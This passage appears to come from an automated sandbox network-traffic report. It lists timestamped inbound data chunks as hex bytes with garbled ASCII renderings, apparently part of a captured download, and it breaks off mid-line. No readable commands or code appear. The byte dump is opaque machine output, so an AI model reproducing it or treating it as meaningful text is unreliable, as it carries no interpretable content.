7d 19 69 9c 35 64 72 ae 36 0e a8 bf bb fd fa 6e 83 ef 61 a4 73 e6 ff 36 e9 58 d6 91 59 75 0e 6e ac 1f 87 6e 0e c7 12 63 Data Ascii: Fm)j\| qT9i69dX)L589y]NO!-Zy:\Z8Y{9ZhqJL`_(<m\|QJ(]$/;\|)76:!ZG29!~hqsJQh(gq1\hWZ}i5dr6nas6XYunnc
2022-08-31 12:29:00 UTC	4183	IN	Data Raw: 14 5f 71 83 51 7d 4c ae f3 0b 8b cd b4 30 48 19 19 ad 26 74 83 cf 62 f8 0e 85 fa 32 ed d4 ac f6 82 42 c4 cb a2 b3 f4 60 00 22 de da 0e 6c e3 4f f4 48 8f 84 d4 51 20 e3 51 10 8d d8 cb fe 7e c5 b6 26 05 ca fe 0a f6 08 71 ff 5a 4d cc 5a b0 88 81 f0 11 e3 5c 02 a6 5a b6 c9 d9 70 06 74 e2 b4 60 8b 8f 9d b2 ec 78 d4 9f 43 d6 87 92 31 93 dc cb 32 60 11 01 bb f8 5a 0e a1 fa 39 79 34 71 bb 72 82 14 4d 76 29 4a ee 28 6e 3a 5b ec 95 3d a6 85 0a 61 15 af fc 23 f3 9f 5d 0e f6 fe a6 40 5f 9a 2f 72 90 20 72 04 5a 5e ea 08 ef 19 78 e6 9d 81 c4 29 08 1a 55 e2 e2 9c 3a db 0c 61 67 b0 a2 29 60 1f 67 62 28 e9 73 7f df 2b c4 94 15 31 8f ef 4b 83 a7 69 e4 ef e9 6b 15 1d d2 dd 1b 92 31 4a 02 62 31 67 d3 8b 7f 13 3d a3 b6 41 4b 6b 43 0f 67 9d 23 58 40 32 6c 66 5f c3 89 9c b6 a9 Data Ascii: _qQ}L0H&tb2B`"lOHQ Q~&qZMZ\Zpt`xC12`Z9y4qrMv)J(n:[=a#]@_/r rZ^x)U:ag)`gb(s+1Kik1Jb1g=AKkCg#X@2lf_
2022-08-31 12:29:00 UTC	4199	IN	Data Raw: 36 bc b8 fd e5 6c 4e 3b 1c 5f 9e 72 07 65 97 da a2 9a d6 b9 e6 c8 0e 6b ad e1 fa e1 08 de c8 b7 c7 46 2f a0 ba 37 5c 29 87 e2 ce 33 75 0b 7d b7 97 7e a7 97 f0 2d cb 05 ff 71 a9 58 96 48 89 25 46 75 d5 f8 4c e9 d0 0c c0 16 76 e9 26 37 66 98 b9 38 a1 84 2f c0 9e fb 27 e6 97 a3 2f c6 f4 eb b4 d8 71 63 dc 35 e2 28 5f 1e 96 91 42 ea 6a c8 a4 dd 91 9a 9e 68 16 6f 28 0e 51 a1 b8 be fe 3c 33 f7 1b 51 5e e7 56 ee 9c f7 7f 0c e3 94 99 b7 29 46 ab a6 26 9e 9d fc 34 7a a0 f5 cc 77 45 66 b1 7d 58 22 8a 7b 6b f6 8c cf 3e 05 fa 88 30 63 83 dc eb 1f d9 df b2 69 6a c2 38 67 9d 3b fd 5a c4 df c4 c5 3b 79 59 e4 d7 2e f4 59 43 79 1a ee 4f 10 9e b5 34 7c 42 73 74 00 af f6 2e 3d c4 fb 48 8b 1c dc 4c d3 dc 61 8f 4b 2e 03 98 6f c6 b5 76 4f ba df 8f 51 83 f1 67 ae 06 25 eb 65 53 Data Ascii: 6lN;_rekF/7\)3u}~-qXH%FuLv&7f8/'/qc5(_Bjho(Q<3Q^V)F&4zwEf}X"{k>0cij8g;Z;yY.YCyO4\|Bst.=HLaK.ovOQg%eS
2022-08-31 12:29:00 UTC	4215	IN	Data Raw: 87 22 42 20 e1 c2 37 0a a2 4b d5 32 0a ec 99 51 8c fd 41 0c 93 b0 aa 3c 5f bf 22 28 24 d7 25 9c 3d 8f 1a de 5e cc 56 9d 27 6e 83 e2 94 d4 32 09 2c b5 ee 6f 70 1a ce ae c8 d9 19 cd 4d bf 48 06 56 6a 4d 75 ed a2 1c e0 11 61 a6 c8 f3 89 b9 f5 6c 2c 7b 79 62 cb f7 ee e6 cc 49 fa a4 67 f8 19 af 7b 14 05 f8 d9 4b 54 f2 07 03 e1 37 2c 37 02 a4 99 33 9b b8 84 be 84 0b 00 87 22 1c f5 41 81 22 2c db 88 64 dc 25 32 5f 1c 7f 36 f1 51 2c da e4 77 ea 82 e3 5c e9 80 be d8 f3 b2 e6 3b 22 51 9b 92 03 f2 b6 9e 36 41 74 64 d5 5c ed 6a 0f 2f ff d7 6e 59 64 56 bd 63 97 9a 09 50 33 65 d6 b8 e9 cd 44 12 bc 06 6a b4 da 71 a7 67 52 4d da ce aa e9 1d 55 ca d1 df 7c 9f 2f 34 3e 2b 94 7a 75 8e c3 2c d1 16 3a 2d 00 5e bf 65 e1 c5 ed 47 54 db c6 ad af c3 a6 7d 18 d3 af 01 03 2c 28 24 Data Ascii: "B 7K2QA<_"($%=^V'n2,opMHVjMual,{ybIg{KT7,73"A",d%2_6Q,w\;"Q6Atd\j/nYdVcP3eDjqgRMU\|/4>+zu,:-^eGT},($
2022-08-31 12:29:00 UTC	4231	IN	Data Raw: 8b 0f 06 0f 3d cd 69 05 17 56 a0 91 24 6c fd 57 98 f8 6c 43 dd 32 d6 72 74 4a 7c 82 7f 98 b0 32 6b ff 31 57 3d cf 55 2f d2 f6 1e 53 3c 2d f9 21 bc 7d 5e 21 0e 04 f0 3e 6d c0 ea 7a 0b bf f8 ff c5 5a 74 8b 0e 0c 97 20 9a 0d 45 8a 2f 29 90 a4 57 a6 99 d2 79 7a fc 5d cc a6 eb 28 65 d6 4a d0 69 19 19 01 79 2a ea 53 65 b7 97 be 97 9e ff 5d 5f 45 e6 5d dd 0c e1 b3 3c 5c 31 10 5f 4e 8b 19 4f 20 43 f5 be c1 d9 c4 00 83 c0 f4 13 68 44 01 44 d5 ae 0f b9 82 bc ed 49 c8 9e fe 50 7e fe 93 eb 81 7b 71 bd a6 e0 68 7a b9 c7 b2 c4 e8 04 68 ba 01 b7 0b 73 88 76 80 99 d2 44 e1 72 5b ef f1 22 8a 50 e8 a7 bc c6 be d8 09 52 dd 7f 69 6d d6 37 a8 9b bf 81 11 09 0d 45 d4 eb 38 55 9e f0 71 50 f9 74 05 84 ca de e3 f4 a4 1e 77 23 72 2d 8d 50 c7 98 77 37 1a 2d ca 2c f9 a0 93 0e 80 44 Data Ascii: =iV$lWlC2rtJ\|2k1W=U/S<-!}^!>mzZt E/)Wyz](eJiy*Se]_E]<\1_NO ChDDIP~{qhzhsvDr["PRim7E8UqPtw#r-Pw7-,D
2022-08-31 12:29:00 UTC	4247	IN	Data Raw: 0c 1a 6b f5 93 81 4f 34 ad 31 2f 11 f2 af 55 11 58 5a e7 2e e2 e4 b9 bf 65 b0 ec c9 87 55 44 7c a2 da 03 c4 8d 5f a3 72 fc bc 88 53 90 bc 66 6f 43 bb b6 8a 0f f3 9f d8 b1 ab de f4 9e 09 f4 69 bd 4c 2f b7 0a 1a 1b a8 3a 3f 75 16 b5 fd be 93 06 e5 28 f6 8f fe e4 0c 1a bb ef d1 fa c8 2f 5c 06 0f 89 5f d7 03 14 af 5a a7 43 af 33 30 66 e1 b3 12 eb 21 10 87 45 bb 84 20 9a d9 18 1d d1 c3 54 2c 2c 64 b6 ea 08 f2 92 3a 0b ba d2 fe 38 31 fa d4 ee 1e 1b bd c8 c8 78 52 22 c8 08 92 f5 0d 22 6b 57 96 c9 c8 fb f9 e1 df bd 17 86 7e 19 0e c8 d9 fd 6d 8b c5 af ff 20 1d 44 c4 b7 07 5f 24 83 9e 63 6e ae 67 8e 8c 6c 0b c8 6f 77 fa d2 c9 1d 17 45 35 a5 d3 1b 96 29 bb ad e1 4e 4d ff 72 8d d6 f3 b7 d7 2d 92 bf 1e f1 1c 6b d5 a7 9e 0f 67 fe dd 51 cf 54 f1 ff 2e 4b 91 2b 56 41 60 Data Ascii: kO41/UXZ.eUD\|_rSfoCiL/:?u(/\_ZC30f!E T,,d:81xR""kW~m D_$cnglowE5)NMr-kgQT.K+VA`
2022-08-31 12:29:00 UTC	4263	IN	Data Raw: e0 9a 8f 0a 75 7c cc 24 d0 a1 a2 02 5d 19 1b ec c6 ba 11 04 2d ec f7 7c ff 1b 64 8c 38 4b 52 3b f1 91 0c 94 98 ca 4b c0 d2 90 e0 1a 67 e7 ca ed 1a 43 59 b7 0e a2 98 01 e0 74 64 ad a6 1d ee dd a6 76 6a fe 69 e1 cf 91 28 ed 3b af dc 9b 9b ac a4 16 63 33 34 47 0c 83 1c e9 b6 1f c1 2b fc f0 1f 98 e0 8d 59 9c 04 b6 4b 3e c1 85 76 7e af 03 01 47 0b c0 4c 08 07 c9 a7 80 ee 43 08 3f e4 58 58 60 a9 bc 48 11 4a f4 5a fa 03 e8 f1 4f c9 a4 e0 af 1c 74 4d cd 7e a1 4e 85 fc 65 71 37 de 0c 67 4c aa f4 44 25 d0 39 25 f8 a5 05 65 5e a3 24 8b 15 c3 5c 16 a5 10 97 e4 de 78 0c 27 06 d5 61 87 64 8b bc f3 ae 73 0e 2c 18 22 43 d7 4e 0f cc f7 e7 12 f8 2b d6 eb 12 35 bc 2c 87 8a 85 aa 4b 9f 14 a9 58 48 33 99 a7 42 14 47 3e 36 c2 c5 ac 2a 8c 97 95 21 75 89 d5 e9 3d 1a 4e df 54 b9 Data Ascii: u\|$]-\|d8KR;KgCYtdvji(;c34G+YK>v~GLC?XX`HJZOtM~Neq7gLD%9%e^$\x'ads,"CN+5,KXH3BG>6*!u=NT
2022-08-31 12:29:00 UTC	4279	IN	Data Raw: e8 8c e7 42 56 36 74 58 b7 09 15 e8 73 ea 01 59 f4 5f c4 86 34 af 7c 8e f9 97 61 9e b5 d5 33 3c 39 67 82 8a 58 1b 95 d0 83 66 ad 9f 0b 20 da 5c 6d a9 75 b3 a1 73 ce 23 e1 c6 e2 8e e1 15 df 42 34 96 60 be 62 b4 dd f2 75 28 3c 85 3c a7 80 5c 41 89 04 f9 ff da 3c e3 28 29 a5 53 0a 68 07 06 34 e1 80 ab ed d0 73 ee 07 b8 d0 f3 e2 d7 21 85 55 9a 8c ef 07 26 60 37 e5 b7 a8 78 bc 8e 36 ee cc 27 fc 20 1b 70 a1 aa 41 66 0f 5d c5 c7 09 97 d6 cf 7e 33 c4 a7 03 35 ca 41 44 c1 c2 f5 b4 6d 9a 14 08 44 c5 47 a4 ef d3 86 bc cd 10 21 14 f9 48 d8 b4 7f 96 db f3 49 e9 0f e1 75 a1 25 ef 24 26 07 8d d9 38 7f 9e a6 d2 d4 37 89 15 c3 b2 36 03 61 ba bc b0 78 2b b4 11 d8 20 ca 84 0f 10 8c cb c8 ff cd 32 ed 85 40 21 4e 5c c8 be 17 cb 23 eb 55 15 60 36 45 77 3c 00 25 56 14 d1 fe 9e Data Ascii: BV6tXsY_4\|a3<9gXf \mus#B4`bu(<<\A<()Sh4s!U&`7x6' pAf]~35ADmDG!HIu%$&876ax+ 2@!N\#U`6Ew<%V
2022-08-31 12:29:00 UTC	4295	IN	Data Raw: 2c 4a 93 5b 5d ed fb 2b f1 71 21 cd 37 01 df f9 c7 9f 97 42 d6 1f 42 7d d6 6f 7e 74 20 47 ac 7c 4b a2 bc e4 68 7c 2a 14 32 52 03 0d e0 ed 35 0f d7 47 72 c5 f2 53 c8 7f d0 f5 8a 2b b9 3e 24 d0 76 19 09 a0 8e 50 8f 50 9a 0b 49 ee 9c 26 5a f2 a8 a4 10 d1 a1 58 45 6a 24 7c 9a d9 6d 1b f2 58 67 99 e0 e2 25 b7 80 3c 4d 16 ef a2 cb 98 8e 95 04 18 bf ae f1 1e 53 41 2f 0c b1 f2 13 e5 13 78 42 c4 e9 64 17 cd 52 af e9 bd 7c 30 dd 3c 79 06 ed e7 cb 00 d3 cb 44 44 a9 b4 9c 18 81 aa b2 aa 77 e3 6c 2c c4 b7 d7 37 ed 0a 02 ac cb 14 95 ec 52 d9 78 74 68 aa ae 10 03 e4 52 cb 6b 03 e2 8b f8 ee d9 89 49 07 d9 b9 30 49 56 0b f0 2c 62 35 7d cd cb 8b c4 f0 5e 39 92 32 d9 7f f7 82 13 77 1b 8f d7 f0 41 18 83 0c 02 93 94 67 d1 ac 77 07 10 50 a1 fd 0c ab fd 5f 2d 84 ef 43 4c 7c 46 Data Ascii: ,J[]+q!7BB}o~t G\|Kh\|*2R5GrS+>$vPPI&ZXEj$\|mXg%<MSA/xBdR\|0<yDDwl,7RxthRkI0IV,b5}^92wAgwP_-CL\|F
2022-08-31 12:29:00 UTC	4311	IN	Data Raw: e7 2e 7c f8 66 90 17 76 04 c0 73 25 54 dd f3 ab 78 86 7c 59 78 5e 72 08 2b 78 4f a3 be ba 01 28 70 db b6 6c 33 20 be 28 ee 38 30 b6 94 16 21 94 25 63 e6 fe 01 cf 5e dd 52 ce df 77 74 bf f2 c9 d0 56 e3 b5 86 af a0 03 38 7d c5 ea 1a 01 eb 29 1e dd de 9e 7f ea d6 3c 94 b7 ce f0 70 43 7d d5 b2 0e 71 d7 87 6e 87 37 01 db 3b 9d 38 c1 db ac af 8d e2 9f 06 59 8c f5 e7 9e 04 e5 6f b7 da df 83 d6 cb aa 3b ce ee d5 6c 9b 1e 6a a9 b0 26 a1 f2 78 93 16 30 b1 36 1b 4b 8f d9 a8 fb e2 ec 88 74 dd bb bf 95 1c ce 21 06 d9 64 09 51 35 22 5a e9 14 70 fa cf 40 4c 03 67 dd 33 b5 de ed 83 8f 7f 52 a9 7e 56 20 05 a8 3b 10 12 8d 67 8f ca 30 bc af 1b 4b e6 e6 51 27 d4 71 ab 4d 59 53 4f ec d4 4e a3 1b 3c 22 94 45 6c 24 e3 c6 5b 23 f1 76 0d 6c de 50 b9 da 31 0d 8a ef 90 b3 e2 20 0b Data Ascii: .\|fvs%Tx\|Yx^r+xO(pl3 (80!%c^RwtV8})<pC}qn7;8Yo;lj&x06Kt!dQ5"Zp@Lg3R~V ;g0KQ'qMYSON<"El$[#vlP1
2022-08-31 12:29:00 UTC	4327	IN	Data Raw: 81 a0 3c 04 70 66 e4 a5 7f 26 c7 45 1c 13 81 f5 43 13 ef 39 ec 78 54 71 f2 18 fe a7 f4 9a 79 9c 78 b4 35 b4 d8 46 e0 09 65 61 03 79 e1 10 bf 31 26 73 93 f1 23 58 f2 f0 cd 18 f5 0d d1 21 a8 96 d9 c3 d3 b2 0b c4 65 b7 79 8f f6 02 18 d8 ce 28 20 0e cc 3d 61 2c 73 5b fc a4 ae 1f c4 13 14 39 00 13 2b 52 53 88 02 3f 3d c9 11 e9 d5 e4 76 a6 af 89 6b 76 b9 23 b6 02 68 e8 cc a4 af 94 74 4b a3 bd 9f 5a 5c 17 05 f0 97 0c e6 ed bb 55 e7 06 3f 42 1a 3f 98 4d 04 13 8e 5d de 8d 2c 30 17 4c ab 42 1b cd 35 20 bc ba 3b 30 fc 24 ac 46 17 56 cf 16 44 e7 f5 54 47 c4 4c 70 d0 b2 9f c4 10 b1 a7 5f 7d fe 93 c0 40 5f 80 7a 93 b6 d3 9e fc 28 65 f7 bc a6 34 ef dc 8c f9 42 f6 c6 b9 a2 a1 71 36 bd 5e fb 5f 78 1b d5 6a eb af f6 95 85 95 34 9d 48 22 24 df 7b 27 4f 74 3c 7b c0 8f c1 6e Data Ascii: <pf&EC9xTqyx5Feay1&s#X!ey( =a,s[9+RS?=vkv#htKZ\U?B?M],0LB5 ;0$FVDTGLp_}@_z(e4Bq6^_xj4H"${'Ot<{n
2022-08-31 12:29:00 UTC	4343	IN	Data Raw: 5b bd 4c ac 7d 1a a3 67 61 49 4c 4a d9 e4 cf ac 17 05 59 bb 25 ad 58 36 11 5a 22 40 64 4d 36 75 a7 c8 f9 92 ee 97 73 69 4d 17 5d 41 5e ff 4f e0 0d b8 04 29 5d 8e 4a 59 64 d7 e9 78 79 ec 74 5f 40 a1 a4 02 4d 58 b8 16 b6 ab 78 74 54 72 a3 8e d3 16 ef c1 22 06 9e c9 17 25 6b 71 ab aa b8 64 37 87 07 9f 71 92 27 bc 14 a6 7b 39 78 f5 fc 4b e7 76 2c 67 b9 ff f8 a2 49 7a 17 f4 17 8c 08 6c 13 27 56 24 db 35 f7 0e dd 1f d4 21 39 ce 0f 75 f6 16 05 61 a6 57 f5 b5 bc dd 05 e5 4c 8f da 37 4e 9a 54 cc 1f 7d fa 63 8a 83 ba 96 91 d6 5d 02 21 9a 9d 5c 11 9f 80 38 0b 5d a2 a4 87 13 c5 55 e7 04 c1 24 aa 35 e3 7d 72 f7 30 04 f5 9d 5c 4e 4b 97 d0 20 5b 04 6b d9 90 f9 9f b2 66 07 2b 28 a6 eb 4b cb 0f 72 54 8c c1 b9 ef f3 dc 75 f6 36 ba 4e 2f a0 e0 50 d6 59 2f ec 3b da e2 ba 99 Data Ascii: [L}gaILJY%X6Z"@dM6usiM]A^O)]JYdxyt_@MXxtTr"%kqd7q'{9xKv,gIzl'V$5!9uaWL7NT}c]!\8]U$5}r0\NK [kf+(KrTu6N/PY/;
2022-08-31 12:29:00 UTC	4359	IN	Data Raw: 62 8e 40 a2 c8 65 0f 82 67 09 fd c3 8d 91 72 b1 6b 7b 0e 98 c0 1d ec 3b a0 95 34 4a 7c 2c 85 ac bc c8 aa 72 73 47 ac 36 8c 95 d9 a6 03 20 3f 2f 1a ef 4b 81 52 58 d9 44 f2 00 6e 51 2f ef 54 21 8d cc 83 92 97 97 7c a1 af 96 4f 10 d0 16 ef 3d 42 6d db f3 a2 7f 2d 55 34 21 c5 2a d8 46 12 59 d2 2c ac 37 22 7c 8d e4 06 f3 2b 31 0b c5 c8 c9 80 2e ae 9d 45 73 0f 51 3c 28 ab dd 4f a0 c0 15 4d 0f 70 c9 b6 96 62 a3 13 bd b7 9b ad f9 b5 71 8d ae 69 e3 3a e9 06 99 76 c3 14 61 1b a0 0d 47 2c 0d e3 2e 8d 94 c0 77 d4 ae f9 c4 e9 57 9e 0d d4 51 39 fb 88 01 3e 8e 55 24 7a 1e d1 67 93 6c 85 94 49 ac 3f 7e 61 e5 57 da b3 e4 b1 7f d5 66 92 f3 3d 00 3d fb 24 6c f6 d0 a2 31 ad 73 b4 0e b3 f4 a7 07 c3 4d b2 31 08 e3 3d 7d 2d fa 39 36 9e bd e7 84 70 81 5b 2a e6 bd 76 9f 2f d2 ff Data Ascii: b@egrk{;4J\|,rsG6 ?/KRXDnQ/T!\|O=Bm-U4!FY,7"\|+1.EsQ<(OMpbqi:vaG,.wWQ9>U$zglI?~aWf==$l1sM1=}-96p[v/
2022-08-31 12:29:00 UTC	4375	IN	Data Raw: 7d e7 d6 9b 24 e2 0f 76 ea b3 8d 2c f9 a4 c7 9e 7f 0a e2 7e ed 77 da 9b 00 91 5c 08 6b 09 f9 18 8a 05 c3 57 26 68 35 9f c0 e2 9a 90 52 c5 6a 9d a4 00 95 d2 d0 de b7 2f 22 4c 29 71 61 f4 f2 8e 9e 72 40 4c ca aa 87 81 8f 30 9b 47 24 56 dd 3f 67 cd 43 91 96 a6 fe ce 5c a4 8b 6d 15 d4 35 9a ee 58 42 9e b3 43 e9 69 8d ab 56 33 a5 0a 1a ff c4 c1 37 6c 5b 6f da 22 e2 a0 79 d0 e6 ec 7a cb 40 bf 8f e1 7a ec 48 34 14 e7 cd 76 03 10 07 9b d1 da c3 e1 ed 84 ac e1 91 1a 4f cf cf 08 be d0 4e 7a af 44 ff 29 bd 4d dc c1 8f 53 49 7c 62 6a 12 e0 3e f6 98 0b b0 1c c9 5d 1f 44 03 bc 6e 4b 8b 02 8a a4 e5 df 37 93 06 95 3b 7a f0 d2 85 ba fa ea 21 80 ec 7b 46 bb 84 d5 71 c0 f5 62 a2 0f b5 91 f0 a8 db 81 5d 5e 1f 89 4f 39 fd 3d bc e6 0e e1 e3 ff 5d 03 17 6b d1 d1 0c 9c a0 df 84 Data Ascii: }$v,~w\kW&h5Rj/"L)qar@L0G$V?gC\m5XBCiV37l[o"yz@zH4vONzD)MSI\|bj>]DnK7;z!{Fqb]^O9=]k
2022-08-31 12:29:00 UTC	4391	IN	Data Raw: d8 b6 04 ae 05 a6 d1 bd 4a 2e 43 5e 76 21 72 5d a7 2c b0 cd bf a8 25 d4 9e c8 02 cc 39 a6 85 87 49 b3 0a b3 d3 49 a3 d8 50 dc 8d 3e 78 cb b0 f9 65 0c 7b a5 22 a4 66 e1 53 8f b1 96 b7 9f fe b7 de b3 0a 5d f0 02 b8 4e 87 d5 b3 4a cc cc ff 7f 51 02 46 95 32 2e 76 36 44 7d 76 5f 7f 25 27 54 88 df b5 93 5d fd 88 d7 53 9f 3c 87 fa f8 42 b5 d2 ef 66 da 62 22 eb 51 79 d7 0d 97 b3 1b f5 59 98 de 0d 60 20 f8 d4 ec 00 82 82 b4 b9 9a 1b b6 1a ea 33 4e dc d4 81 3a e5 78 da 74 ed ea af e9 0d 3c 82 62 5c 78 ce 65 a5 87 61 33 31 3e b1 bd 63 e9 88 9b eb 82 71 e9 96 a2 3e 6d 76 aa 3e 63 74 1a a0 bc 10 eb 49 ae 59 cf b3 f5 f1 ed 23 6c bd 6f 99 42 56 88 e6 c9 33 a3 c3 37 a7 da 29 d1 b9 25 32 5b 01 a6 9d fe 55 c1 0a 59 31 77 3d 8a d9 1a 1d 77 ee 1b 1d 33 73 69 93 dd c8 2d 22 Data Ascii: J.C^v!r],%9IIP>xe{"fS]NJQF2.v6D}v_%'T]S<Bfb"QyY` 3N:xt<b\xea31>cq>mv>ctIY#loBV37)%2[UY1w=w3si-"
2022-08-31 12:29:00 UTC	4407	IN	Data Raw: a9 21 2b d3 a3 13 36 30 ec b2 b7 58 dd 13 1d 9d 3b 2f 1d 92 af d1 37 f6 46 67 14 a1 35 7c b3 d6 d8 92 a9 dc 74 be 6d 1f df 13 ea 46 37 c6 94 22 7a 88 2b dc 35 8a 03 5b 15 72 d8 f2 2e 6b 08 0b 9b 95 c1 8a b3 7b 75 53 04 2d ec d4 a9 79 6d a4 0a a4 73 42 6e 7a 59 02 d9 2c b4 8b 3c 7d be 42 39 45 70 be 10 30 82 1d 2d cb 99 14 c3 dc f3 43 90 e3 87 84 10 aa fd 28 df 61 63 3b 0a ff 39 bb fb 37 3f 0b d8 d8 02 b8 63 00 21 4f 9c df 4d 14 21 18 2b 76 7e 75 2c 72 ba bb 1b 39 a5 23 fd 25 a3 28 23 84 7c 64 f7 97 b4 fd fc 9d aa f5 3e c0 e8 8b ca be a1 fb b2 e2 0d d7 ae 50 a7 e1 f6 d7 cd b3 eb a2 a2 0c 81 1f 13 f7 8a 24 31 91 e8 a4 66 b5 74 f9 3f ee 5a da bf da bc a4 34 03 08 e1 0a 06 d2 75 7a c5 03 07 b7 03 1d e5 bf 40 84 5b b2 6a c7 a2 da be c5 32 f0 58 4b ef b7 af be Data Ascii: !+60X;/7Fg5\|tmF7"z+5[r.k{uS-ymsBnzY,<}B9Ep0-C(ac;97?c!OM!+v~u,r9#%(#\|d>P$1ft?Z4uz@[j2XK
2022-08-31 12:29:00 UTC	4423	IN	Data Raw: 37 b4 f5 05 05 c5 0a 9e dc 97 a9 28 70 6c 55 65 20 35 ce 67 70 97 07 88 3f e5 39 f8 ae b7 5b 5c f3 0d a4 6e f1 cd 0f 9d 53 38 06 aa fc 0e bc 26 df 08 24 01 38 00 33 6e d9 9d 0a eb f0 d1 69 66 64 e1 09 47 b4 c0 e0 ac cf b0 11 78 da a4 cc 8b 16 6c dc 30 27 ff 6b 4a 23 26 ab df 76 dc 40 0b 32 b5 f2 b0 4e 81 48 69 a7 3d da 10 67 ee 5b 4d cc 77 d2 71 eb 14 e8 83 85 2c a3 37 e6 53 01 32 01 68 af a0 76 7d 01 f4 62 fb d9 07 c8 a8 45 4e 6a c6 23 5c 79 87 18 b1 08 3c 67 98 01 7b ff 1b c4 bb af b8 5e 5f ea 72 fc 16 35 10 73 bc d4 01 e5 48 9b a3 9d a8 26 be bf 05 3b 46 27 cb bf db 12 5e 63 79 ec 96 3b 9c 83 e9 79 22 84 c0 3e 5f 67 59 81 39 97 0c f6 76 dc 2c c8 9b a6 05 5e d8 38 d9 12 31 4f 06 30 d6 86 ca 1f d8 ce 21 8d 35 9c 04 37 4f d8 fa 69 64 b0 cb b6 c9 cd d1 40 Data Ascii: 7(plUe 5gp?9[\nS8&$83nifdGxl0'kJ#&v@2NHi=g[Mwq,7S2hv}bENj#\y<g{^_r5sH&;F'^cy;y">_gY9v,^81O0!57Oid@
2022-08-31 12:29:00 UTC	4439	IN	Data Raw: f6 40 55 61 20 5c 63 7f a0 b1 bb bf 19 5f de a7 0f db 90 93 c2 40 6b c6 6f 88 73 30 39 6f da 4e af af 2c 03 58 95 3c a4 a1 19 12 a6 38 47 74 07 9c ec f8 e4 24 16 ed 43 6d 4b 99 65 9e 56 2c 33 28 f2 6c 97 82 a1 58 e5 24 e5 16 35 f5 c3 cf 57 9d 60 80 0d b4 96 0a 29 87 30 f9 7f b8 a2 e7 0e 53 18 ff 66 e3 35 18 d0 76 a1 1c 39 b2 2f 2d 7a dd 59 eb 07 3b 79 c2 bb 4f c4 13 85 22 c5 37 1d 4a 03 12 80 03 30 cb ce 3d 71 ce 79 a9 ac 1e 0a 9d a1 6f 10 9c b9 6f 5c 05 94 2d 19 ef 71 26 a3 c9 31 8b 25 da f0 b8 e3 f9 eb c8 56 4b 5d bc 7f 1b 7f 93 6b 29 9d 09 dc b4 cb 71 aa b9 b6 61 b6 7b cf d8 e1 95 55 4b 74 fb e1 82 0c f5 4d ee ef c5 94 37 7f 87 9d 00 1a 76 9f f1 f4 e3 aa be b0 d3 c3 8e 47 da e1 f2 b2 89 94 65 4e 0f e7 db ed 1d 3f f0 e1 b0 36 98 4f fc a7 bb e0 a5 5c 9a Data Ascii: @Ua \c_@kos09oN,X<8Gt$CmKeV,3(lX$5W`)0Sf5v9/-zY;yO"7J0=qyoo\-q&1%VK]k)qa{UKtM7vGeN?6O\
2022-08-31 12:29:00 UTC	4455	IN	Data Raw: c5 19 55 ab f0 27 0b 7f f8 e9 76 38 a6 03 48 89 be 10 e6 ba d6 2c b2 37 d7 0d da d0 b2 6b c9 51 87 70 da 5d b5 9d 5a 84 2b 95 37 38 74 7d 3c 30 50 fe b5 fa c7 68 de b1 52 0d 53 cf 6a e3 af 60 02 f9 ab 59 e7 55 3f b3 84 c4 29 a9 08 78 9a 73 61 6d 57 94 a6 b0 d0 90 d0 0a 07 95 d9 14 81 0b e8 6b 82 f2 bf ba 1a b6 03 db 9f 8e 44 4f df 91 07 80 ef 02 c0 cd 76 a8 1d 19 15 b8 26 ab dc 48 5b a2 60 b9 a8 d3 65 89 eb c6 90 80 4e 55 d1 d2 05 f9 76 60 c8 97 69 69 ba 17 d7 72 33 36 af cb f8 82 dc 78 18 44 f9 fc 95 bd 43 9c fa c7 15 11 ef 0a b4 c2 aa 4b 7d ee ce 94 64 f8 c6 8f 0d c5 e7 a8 2e a7 46 f8 0f e0 f9 ad ea 77 66 bb c0 bb a3 73 38 35 17 34 0b 06 dd 73 d3 94 e0 1d 4f ff 0c 86 57 8e dd 29 b8 cb 0f d3 de 19 55 1e 60 45 77 88 d9 ec ee f7 1b b0 ed 3c 07 ce 44 0e e8 Data Ascii: U'v8H,7kQp]Z+78t}<0PhRSj`YU?)xsamWkDOv&H[`eNUv`iir36xDCK}d.Fwfs854sOW)U`Ew<D
2022-08-31 12:29:00 UTC	4471	IN	Data Raw: 66 12 3e 86 75 93 17 70 a5 ab c5 e4 aa 14 e5 1c 0a f7 59 ba 1e 94 b6 b6 c8 20 1d 02 43 6e 8c f4 04 80 96 5f a5 94 2f 9d eb 3f de 33 cf 52 14 46 92 a8 c0 b7 e2 ab 6b 71 d1 46 28 ec db 6a 15 cc a6 51 b5 aa 3d e5 3c 58 f3 d3 2f e5 f5 8f 30 7b 05 a7 ce 0d 47 f8 f9 4f cb 08 5c 1b 3e 5f 79 cf 84 95 27 d3 0f be ad 85 39 1a a1 e7 5b 71 dd d2 5a 27 6f e1 e0 50 13 e8 12 15 56 ff ba 9a 4f fe 81 ab 65 cc 60 56 14 97 a3 9e c2 03 e9 96 fd 17 ca 45 97 d6 29 73 93 23 4f b1 69 89 55 2e 9c 84 47 91 81 66 a9 bc 04 8c 6b c6 c0 6b 37 dc da 29 aa f3 f7 2a 90 ad 8c e2 17 80 c2 c6 5e bb 91 94 ed e9 8d 5c 20 0e b4 6c 58 ec 21 18 83 e2 a5 dc e3 74 b3 5e 6e df 25 b4 23 27 b6 ab 64 b1 db f8 7a 27 d0 3e 33 ae 7c 9e 02 ef 08 95 b6 ce df c1 54 b8 be 73 ab 7a 84 af fc 9c 02 51 57 ea 06 Data Ascii: f>upY Cn_/?3RFkqF(jQ=<X/0{GO\>_y'9[qZ'oPVOe`VE)s#OiU.Gfkk7)*^\ lX!t^n%#'dz'>3\|TszQW
2022-08-31 12:29:00 UTC	4487	IN	Data Raw: 6d bb ae e0 50 24 68 e3 9b dc bf 45 fb 70 8b eb 29 c3 90 73 e2 8c 3e 06 91 02 66 2f d7 ae a2 e6 6a 0f 69 44 45 5c ed 5a 60 3f 11 5e 27 68 e8 19 39 4d 69 09 cb 1b 9c d9 2a 8c 50 8d b7 e6 91 eb 71 59 74 0a af 55 48 4c 8a 8a ce 2f 76 99 a4 3f 58 77 ec 8e 18 f3 fd 2d a2 55 cc 29 81 36 71 f0 15 75 09 09 4f 21 f8 af c5 f2 cf 5a ab 9e 7a 9c 71 9d 11 be 97 ed 98 bd bf d8 34 5d c6 81 43 53 7d d7 7c 8a c0 49 20 a7 3c 02 25 a3 84 b7 42 45 85 12 91 ab d4 6d 78 cd 7d 00 cf d6 84 01 8a a9 0c f5 01 d2 84 b9 09 ac ff b8 63 a7 a6 c0 48 20 cf 8f 5c b7 f5 68 83 19 ff 99 bf 59 35 b3 b3 a4 20 78 87 55 39 f9 21 25 84 a9 1e 88 1b 6e 71 6e 7f 0f e7 37 f1 